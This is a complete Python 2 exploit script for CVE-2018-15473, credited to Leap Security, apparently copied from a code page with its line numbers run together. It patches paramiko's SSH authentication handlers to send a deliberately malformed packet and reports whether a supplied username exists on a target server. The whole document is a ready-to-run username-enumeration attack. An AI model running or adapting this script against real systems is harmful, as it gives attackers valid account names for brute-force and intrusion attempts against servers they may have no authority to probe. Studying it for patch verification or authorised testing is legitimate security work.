1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 |
#!/usr/bin/env python2 # CVE-2018-15473 SSH User Enumeration by Leap Security (@LeapSecurity) https://leapsecurity.io # Credits: Matthew Daley, Justin Gardner, Lee David Painter import argparse, logging, paramiko, socket, sys, os class InvalidUsername(Exception): pass # malicious function to malform packet def add_boolean(*args, **kwargs): pass # function that'll be overwritten to malform the packet old_service_accept = paramiko.auth_handler.AuthHandler._client_handler_table[ paramiko.common.MSG_SERVICE_ACCEPT] # malicious function to overwrite MSG_SERVICE_ACCEPT handler def service_accept(*args, **kwargs): paramiko.message.Message.add_boolean = add_boolean return old_service_accept(*args, **kwargs) # call when username was invalid def invalid_username(*args, **kwargs): raise InvalidUsername() # assign functions to respective handlers paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = service_accept paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = invalid_username # perform authentication with malicious packet and username def check_user(username): sock = socket.socket() sock.connect((args.target, args.port)) transport = paramiko.transport.Transport(sock) try: transport.start_client() except paramiko.ssh_exception.SSHException: print '[!] Failed to negotiate SSH transport' sys.exit(2) try: transport.auth_publickey(username, paramiko.RSAKey.generate(2048)) except InvalidUsername: print "[-] {} is an invalid username".format(username) sys.exit(3) except paramiko.ssh_exception.AuthenticationException: print "[+] {} is a valid username".format(username) # remove paramiko logging logging.getLogger('paramiko.transport').addHandler(logging.NullHandler()) parser = argparse.ArgumentParser(description='SSH User Enumeration by Leap Security (@LeapSecurity)') parser.add_argument('target', help="IP address of the target system") parser.add_argument('-p', '--port', default=22, help="Set port of SSH service") parser.add_argument('username', help="Username to check for validity.") if len(sys.argv) == 1: parser.print_help() sys.exit(1) args = parser.parse_args() check_user(args.username) |